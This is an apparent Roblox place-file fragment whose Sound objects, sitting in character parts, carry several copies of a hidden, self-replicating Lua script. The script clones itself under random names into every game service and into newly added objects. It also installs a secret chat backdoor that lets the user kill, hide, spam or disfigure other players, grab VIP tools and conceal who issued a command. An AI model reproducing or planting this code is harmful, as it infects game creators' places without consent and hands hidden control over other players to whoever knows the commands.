if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX622">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">119</int>
							<CoordinateFrame name="CFrame">
								<X>-156.481079</X>
								<Y>1.52197087</Y>
								<Z>5.26229858</Z>
								<R00>0.550176978</R00>
								<R01>3.07810111e-009</R01>
								<R02>-0.835048079</R02>
								<R10>3.45762974e-009</R10>
								<R11>1</R11>
								<R12>5.96421845e-009</R12>
								<R20>0.835048079</R20>
								<R21>-6.16866247e-009</R21>
								<R22>0.550176978</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">true</bool>
							<token name="Material">256</token>
							<string name="Name">Left Leg</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX623">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">s80r</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX624">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">7tn5xe</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX625">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">119</int>
							<CoordinateFrame name="CFrame">
								<X>-155.930908</X>
								<Y>1.52197087</Y>
								<Z>6.09735107</Z>
								<R00>0.550176978</R00>
								<R01>3.07810111e-009</R01>
								<R02>-0.835048079</R02>
								<R10>3.45762974e-009</R10>
								<R11>1</R11>
								<R12>5.96421845e-009</R12>
								<R20>0.835048079</R20>
								<R21>-6.16866247e-009</R21>
								<R22>0.550176978</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">true</bool>
							<token name="Material">256</token>
							<string name="Name">Right Leg</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX626">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">ekt2n40</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX627">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">mpvnwu</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
